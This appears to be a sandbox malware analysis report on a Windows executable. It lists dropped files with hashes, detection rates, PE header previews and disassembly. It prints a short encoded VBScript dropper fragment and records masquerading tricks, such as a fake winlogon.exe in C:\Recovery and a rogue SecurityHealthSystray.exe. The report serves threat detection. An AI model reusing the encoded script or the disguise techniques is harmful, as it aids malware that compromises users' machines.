Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....C.f................................. ........@.. ....................... ............@.....................................K....... ............................................................................ ............... ..H............text........ ...................... ..`.rsrc... ...........................@..@.reloc..............................@..B........................H.......X...X.......v...................................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

C:\Users\user\AppData\Roaming\msBroker\xIIr5uE.vbe

Download File

Process:	C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe
File Type:	data
Category:	dropped
Size (bytes):	223
Entropy (8bit):	5.872095737203739
Encrypted:	false
SSDEEP:	6:GXkgwqK+NkLzWbHZEG8nZNDd3RL1wQJRZ7vtSwKL3JNj:GXkBMCzWL6G4d3XBJr7vtcj
MD5:	FBE6F760CA876D530840FBF855628A92
SHA1:	9C7FAAA6A666703B0D5A241106CBE42E84683142
SHA-256:	8D717BCD2FACA0E8D2765DB69DD401D363BBD3BE007313BF3A107FBC2FB3C8E6
SHA-512:	1B6564F56D53017741009BB809CAD3364A29A67F55E5E03473728D4DE9F42F1F0C9DF7AC130D5D27B0B2088A2B64501A6680F3358CE029108B0661A0DD444A43
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	#@~^xgAAAA==j.Y~q/4?t.V^~',Z.+mYn6(L+1O`r.?1.rwDRUtnVsE*@#@&.U^DbwO UV+n2v&T!Zb@#@&j.Y,./4?4nV^PxP;DnCD+r(%+1Y`r.jmMkaY ?4n^VE#@#@&.ktj4.VV ]!x~Ju)aw9mYm]zs/~.W0+.zJ sPlSCyuW6HZ8C/nTyjDdS%0w/q9_4R(lOEBP!S~6ls/.Iz4AAA==^#~@.

C:\Users\user\Desktop\BudDliLc.log

Download File

Process:	C:\Recovery\winlogon.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 17% Antivirus: Virustotal, Detection: 20%, Browse
Joe Sandbox View:	Filename: ZT3pxe2Tb4.exe, Detection: malicious, Browse Filename: O5OjRoFGIW.exe, Detection: malicious, Browse Filename: iY40ylvr5y.exe, Detection: malicious, Browse Filename: 7GTGpZi6oi.exe, Detection: malicious, Browse Filename: GWCscceJsW.exe, Detection: malicious, Browse Filename: QHZoYVBjSD.exe, Detection: malicious, Browse Filename: qObijSd3Uj.exe, Detection: malicious, Browse Filename: 2EHDj2G1ow.exe, Detection: malicious, Browse Filename: UU5WXfH85a.exe, Detection: malicious, Browse Filename: k6AIKkidxG.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Users\user\Desktop\LdxTVLQK.log

Download File

Process:	C:\Recovery\winlogon.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	85504
Entropy (8bit):	5.8769270258874755
Encrypted:	false
SSDEEP:	1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
MD5:	E9CE850DB4350471A62CC24ACB83E859
SHA1:	55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
SHA-256:	7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
SHA-512:	9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 67% Antivirus: Virustotal, Detection: 69%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

C:\Users\user\Desktop\MFrsFgjH.log

Download File

Process:	C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	85504
Entropy (8bit):	5.8769270258874755
Encrypted:	false
SSDEEP:	1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
MD5:	E9CE850DB4350471A62CC24ACB83E859
SHA1:	55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
SHA-256:	7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
SHA-512:	9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 67% Antivirus: Virustotal, Detection: 69%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

C:\Users\user\Desktop\RAtJMMZA.log

Download File

Process:	C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.631194486392901
Encrypted:	false
SSDEEP:	384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
MD5:	D8BF2A0481C0A17A634D066A711C12E9
SHA1:	7CC01A58831ED109F85B64FE4920278CEDF3E38D
SHA-256:	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
SHA-512:	7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 10% Antivirus: Virustotal, Detection: 25%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............\|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\TDfrhvdw.log

Download File

Process:	C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	23552
Entropy (8bit):	5.519109060441589
Encrypted:	false
SSDEEP:	384:RlLUkmZJzLSTbmzQ0VeUfYtjdrrE2VMRSKOpRP07PUbTr4e16AKrl+7T:RlYZnV7YtjhrfMcKOpjb/9odg7T
MD5:	0B2AFABFAF0DD55AD21AC76FBF03B8A0
SHA1:	6BB6ED679B8BEDD26FDEB799849FB021F92E2E09
SHA-256:	DD4560987BD87EF3E6E8FAE220BA22AA08812E9743352523C846553BD99E4254
SHA-512:	D5125AD4A28CFA2E1F2C1D2A7ABF74C851A5FB5ECB9E27ECECAF1473F10254C7F3B0EEDA39337BD9D1BEFE0596E27C9195AD26EDF34538972A312179D211BDDA
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 8% Antivirus: Virustotal, Detection: 10%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....T...........s... ........@.. ..............................vX....@.................................Xs..S.................................................................................... ............... ..H............text....S... ...T.................. ..`.rsrc................V..............@..@.reloc...............Z..............@..B.................s......H.......PO...$...........N......................................................................................................................................................................6...GN..n.....................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\WslZMRrk.log

Download File

Process:	C:\Recovery\winlogon.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.631194486392901
Encrypted:	false
SSDEEP:	384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
MD5:	D8BF2A0481C0A17A634D066A711C12E9
SHA1:	7CC01A58831ED109F85B64FE4920278CEDF3E38D
SHA-256:	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
SHA-512:	7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 10% Antivirus: Virustotal, Detection: 25%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............\|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\aEtIhTbg.log

Download File

Process:	C:\Recovery\winlogon.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	23552
Entropy (8bit):	5.519109060441589
Encrypted:	false
SSDEEP:	384:RlLUkmZJzLSTbmzQ0VeUfYtjdrrE2VMRSKOpRP07PUbTr4e16AKrl+7T:RlYZnV7YtjhrfMcKOpjb/9odg7T
MD5:	0B2AFABFAF0DD55AD21AC76FBF03B8A0
SHA1:	6BB6ED679B8BEDD26FDEB799849FB021F92E2E09
SHA-256:	DD4560987BD87EF3E6E8FAE220BA22AA08812E9743352523C846553BD99E4254
SHA-512:	D5125AD4A28CFA2E1F2C1D2A7ABF74C851A5FB5ECB9E27ECECAF1473F10254C7F3B0EEDA39337BD9D1BEFE0596E27C9195AD26EDF34538972A312179D211BDDA
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 8% Antivirus: Virustotal, Detection: 10%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....T...........s... ........@.. ..............................vX....@.................................Xs..S.................................................................................... ............... ..H............text....S... ...T.................. ..`.rsrc................V..............@..@.reloc...............Z..............@..B.................s......H.......PO...$...........N......................................................................................................................................................................6...GN..n.....................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\lKwWBiIK.log

Download File

Process:	C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	9728
Entropy (8bit):	5.0168086460579095
Encrypted:	false
SSDEEP:	96:b2+4Af/qPl98sgn8VenjzRR0xXzhZ7BiCTUk9v2G6/7jK6XsBG7hWuP9LfqpW0RQ:gCU8XKb7BDUieGi3jcBgLyB+b
MD5:	69546E20149FE5633BCBA413DC3DC964
SHA1:	29FEB42AB8B563FAFACFD27FAE48D4019A4CBCC2
SHA-256:	B48CA16B9BA2B44BF13051705B8E12D587D80262F57F7B2595AD1DD7854A86C6
SHA-512:	90D5F6C334B8064ED6DD002B03C57CEBBFAC1620D6CB2B79103DB0369D3A4FD82DB092E675F387AB0BDFE20303D9AC37F4E150896FC333E6F83B00269F012236
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 1%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......e...........!.................=... ...@....... ....................................@..................................<..W....@.......................`....................................................... ............... ..H............text...4.... ...................... ..`.rsrc........@....... ..............@..@.reloc.......`.......$..............@..B.................=......H.......<&.............................................................................................................V...}..................0..C.......(....o.......(....(....o.......(....s......(...........o....o.......0..'.......s.......(....o.....o........,..o......*..................0.............{........&.r...p.{....r;..p(....}.....s....}.....{........[.{.....{....o....(....s....rQ..po.....{.....{....o....(....s....ra..po......{....s....}.....{..........+.{.....{..

C:\Users\user\Desktop\rGzNBWQu.log

Download File

Process:	C:\Recovery\winlogon.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	9728
Entropy (8bit):	5.0168086460579095
Encrypted:	false
SSDEEP:	96:b2+4Af/qPl98sgn8VenjzRR0xXzhZ7BiCTUk9v2G6/7jK6XsBG7hWuP9LfqpW0RQ:gCU8XKb7BDUieGi3jcBgLyB+b
MD5:	69546E20149FE5633BCBA413DC3DC964
SHA1:	29FEB42AB8B563FAFACFD27FAE48D4019A4CBCC2
SHA-256:	B48CA16B9BA2B44BF13051705B8E12D587D80262F57F7B2595AD1DD7854A86C6
SHA-512:	90D5F6C334B8064ED6DD002B03C57CEBBFAC1620D6CB2B79103DB0369D3A4FD82DB092E675F387AB0BDFE20303D9AC37F4E150896FC333E6F83B00269F012236
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 1%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......e...........!.................=... ...@....... ....................................@..................................<..W....@.......................`....................................................... ............... ..H............text...4.... ...................... ..`.rsrc........@....... ..............@..@.reloc.......`.......$..............@..B.................=......H.......<&.............................................................................................................V...}..................0..C.......(....o.......(....(....o.......(....s......(...........o....o.......0..'.......s.......(....o.....o........,..o......*..................0.............{........&.r...p.{....r;..p(....}.....s....}.....{........[.{.....{....o....(....s....rQ..po.....{.....{....o....(....s....ra..po......{....s....}.....{..........+.{.....{..

C:\Users\user\Desktop\tRVOBpwv.log

Download File

Process:	C:\Recovery\winlogon.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	22016
Entropy (8bit):	5.41854385721431
Encrypted:	false
SSDEEP:	384:8Np+VQupukpNURNzOLn7TcZ64vTUbqryealcpA2:bPpu0NyzOL0ZJ4bavae
MD5:	BBDE7073BAAC996447F749992D65FFBA
SHA1:	2DA17B715689186ABEE25419A59C280800F7EDDE
SHA-256:	1FAE639DF1C497A54C9F42A8366EDAE3C0A6FEB4EB917ECAD9323EF8D87393E8
SHA-512:	0EBDDE3A13E3D27E4FFDAF162382D463D8F7E7492B7F5C52D3050ECA3E6BD7A58353E8EC49524A9601CDF8AAC18531F77C2CC6F50097D47BE55DB17A387621DF
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 8% Antivirus: Virustotal, Detection: 7%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...)..d...........!.....N...........l... ........@.. ..............................R.....@..................................l..O.................................................................................... ............... ..H............text....M... ...N.................. ..`.rsrc................P..............@..@.reloc...............T..............@..B.................l......H........L..............lL..H....................................................................................................................................................................lsx)T.,.....h.)................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\tnEMlbYs.log

Download File

Process:	C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	22016
Entropy (8bit):	5.41854385721431
Encrypted:	false
SSDEEP:	384:8Np+VQupukpNURNzOLn7TcZ64vTUbqryealcpA2:bPpu0NyzOL0ZJ4bavae
MD5:	BBDE7073BAAC996447F749992D65FFBA
SHA1:	2DA17B715689186ABEE25419A59C280800F7EDDE
SHA-256:	1FAE639DF1C497A54C9F42A8366EDAE3C0A6FEB4EB917ECAD9323EF8D87393E8
SHA-512:	0EBDDE3A13E3D27E4FFDAF162382D463D8F7E7492B7F5C52D3050ECA3E6BD7A58353E8EC49524A9601CDF8AAC18531F77C2CC6F50097D47BE55DB17A387621DF
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 8% Antivirus: Virustotal, Detection: 7%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...)..d...........!.....N...........l... ........@.. ..............................R.....@..................................l..O.................................................................................... ............... ..H............text....M... ...N.................. ..`.rsrc................P..............@..@.reloc...............T..............@..B.................l......H........L..............lL..H....................................................................................................................................................................lsx)T.,.....h.)................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\vybNluDs.log

Download File

Process:	C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Windows\System32\CSCD00016AF5F994D2B979CA07EFAA630F3.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	1224
Entropy (8bit):	4.435108676655666
Encrypted:	false
SSDEEP:	24:OBxOysuZhN7jSjRzPNnqNdt4+lEbNFjMyi07:COulajfqTSfbNtme
MD5:	931E1E72E561761F8A74F57989D1EA0A
SHA1:	B66268B9D02EC855EB91A5018C43049B4458AB16
SHA-256:	093A39E3AB8A9732806E0DA9133B14BF5C5B9C7403C3169ABDAD7CECFF341A53
SHA-512:	1D05A9BB5FA990F83BE88361D0CAC286AC8B1A2A010DB2D3C5812FB507663F7C09AE4CADE772502011883A549F5B4E18B20ACF3FE5462901B40ABCC248C98770
Malicious:	false
Preview:	.... ...........................\|...<...............0...........\|.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...T.....I.n.t.e.r.n.a.l.N.a.m.e...S.e.c.u.r.i.t.y.H.e.a.l.t.h.S.y.s.t.r.a.y...e.x.e...(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...\.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...S.e.c.u.r.i.t.y.H.e.a.l.t.h.S.y.s.t.r.a.y...e.x.e...4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0....................................<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">.. <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>.. <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">.. <securi

C:\Windows\System32\SecurityHealthSystray.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	3.9874947242875076
Encrypted:	false
SSDEEP:	48:6bpDPtKM7Jt8Bs3FJsdcV4MKe27nd6YgYzLvqBHmOulajfqXSfbNtm:WPZPc+Vx9M8RYPvkAcjRzNt
MD5:	AB5598E43F67BE1C10F7E5A8AF37C34D
SHA1:	0CD56F0C9830E0BE4DB6242ECDE01996D77CA2F1
SHA-256:	1F2B3DD31DC8223ECA3DDDBCDAB3EB9F20C589E2DB943C930643DF4D6DB535B9
SHA-512:	3882365301088096879195A5E11EAEA4EFE30559383331FBC3628DEE045CEF08F1B6DA9FE9F0F5DBAE0B5BC9C1B52ED1D1316CE78927CD72D25D649647B44E9B
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f.............................'... ...@....@.. ....................................@..................................'..W....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......(!..\.............................................................(.....0..!.......r...pre..p.{....(....(....&..&......................0..........ri..p(....&..&......................0..K.......s.......}...........s....s....(....~....-........s.........~....s....(......(....*.BSJB............v4.0.30319......l.......#~..@.......#Strings....4.......#US.,.......#GUID...<... ...#Blob...........WU........%3................................................................

\Device\Null

Download File

Process:	C:\Windows\System32\w32tm.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	151
Entropy (8bit):	4.854617761109343
Encrypted:	false
SSDEEP:	3:VLV993J+miJWEoJ8FXHUTfejNvoTybHKvj:Vx993DEUaUyGW7s
MD5:	57CAE729DBFB3B33CE80F59AC240EF14
SHA1:	A2C4D7E162293FE2B91BEE2FC04F883E443BA4A1
SHA-256:	0E191D0C5924BA0032845AF97A0C907A7454E47730C0CEB0D98D51E4D8ACB321
SHA-512:	C9A3AC877F0FDC9721223F7754DFF1B49748EB0C0DA6101E7D7A925A45751E6836C8AF54D9455F0F4A4BFAF5D6ED8EF351CBADAD3D662782D5041BDFCB0E3E54
Malicious:	false
Preview:	Tracking localhost [[::1]:123]..Collecting 2 samples..The current time is 29/03/2024 16:40:56..16:40:56, error: 0x80072746.16:41:01, error: 0x80072746.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.763479339524128
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	H9gMIu2HXi.exe
File size:	1'811'992 bytes
MD5:	4fb1d8f8dff638f2c9b382f9552b18e2
SHA1:	5bc4dbad7914ceb72dba45d1b1efffba40143653
SHA256:	b706a1a67f20b5e029c058de6a1e681a36fea762f69b9d983921d0e47ec2bc6c
SHA512:	02fb08958f7e5abb2ae99ec87efb1ad4c7e2c895d314927af4ed452f0ba855d7d248788f46906f5b671984cc4600f31d5b97f9c3901a0238ffe36fc7582db476
SSDEEP:	24576:AubsnafAPyjiDkXubsnafAPyjZrvoW9jdO1T2qdg+GTjMZpCfJYLw289l2zHTJnP:mIpfI1voojGT0MCfJ3AzHTlvxKyH0s1
TLSH:	BF851203B5C0D9B2D46218330B26AF61A67DBD301F618DDB93941D5EEE322D0A736B67
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............w...w...w..<.V..w..<.T..w..<.U..w....Z..w.......w.......w.......w....$..w....4..w...w...v.......w.......w....X..w.......w.

File Icon


Icon Hash:	313397069e1b3371

Static PE Info

General

Entrypoint:	0x420790
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x64C8CFB2 [Tue Aug 1 09:26:10 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	0ae9e38912ff6bd742a1b9e5c003576a

Entrypoint Preview

Instruction
call 00007FBA24BF21DBh
jmp 00007FBA24BF1B8Dh
int3
int3
int3
int3
int3
int3
push 00423A90h
push dword ptr fs:[00000000h]
mov eax, dword ptr [esp+10h]
mov dword ptr [esp+10h], ebp
lea ebp, dword ptr [esp+10h]
sub esp, eax
push ebx
push esi
push edi
mov eax, dword ptr [004407A8h]
xor dword ptr [ebp-04h], eax
xor eax, ebp
push eax
mov dword ptr [ebp-18h], esp
push dword ptr [ebp-08h]
mov eax, dword ptr [ebp-04h]
mov dword ptr [ebp-04h], FFFFFFFEh
mov dword ptr [ebp-08h], eax
lea eax, dword ptr [ebp-10h]
mov dword ptr fs:[00000000h], eax
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov ecx, dword ptr [ebp-10h]
mov dword ptr fs:[00000000h], ecx
pop ecx
pop edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
push ecx
ret
push ebp
mov ebp, esp
sub esp, 0Ch
lea ecx, dword ptr [ebp-0Ch]
call 00007FBA24BE4A21h
push 0043D14Ch
lea eax, dword ptr [ebp-0Ch]
push eax
call 00007FBA24BF4835h
int3
jmp 00007FBA24BF6708h
push ebp
mov ebp, esp
and dword ptr [00463D58h], 00000000h
sub esp, 24h
or dword ptr [004407A0h], 01h
push 0000000Ah
call dword ptr [004341C4h]
test eax, eax
je 00007FBA24BF1EC2h
and dword ptr [ebp-10h], 00000000h
xor eax, eax
push ebx
push esi
push edi
xor ecx, ecx
lea edi, dword ptr [ebp-24h]

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x3e380	0x34	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3e3b4	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x66000	0xeb98	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
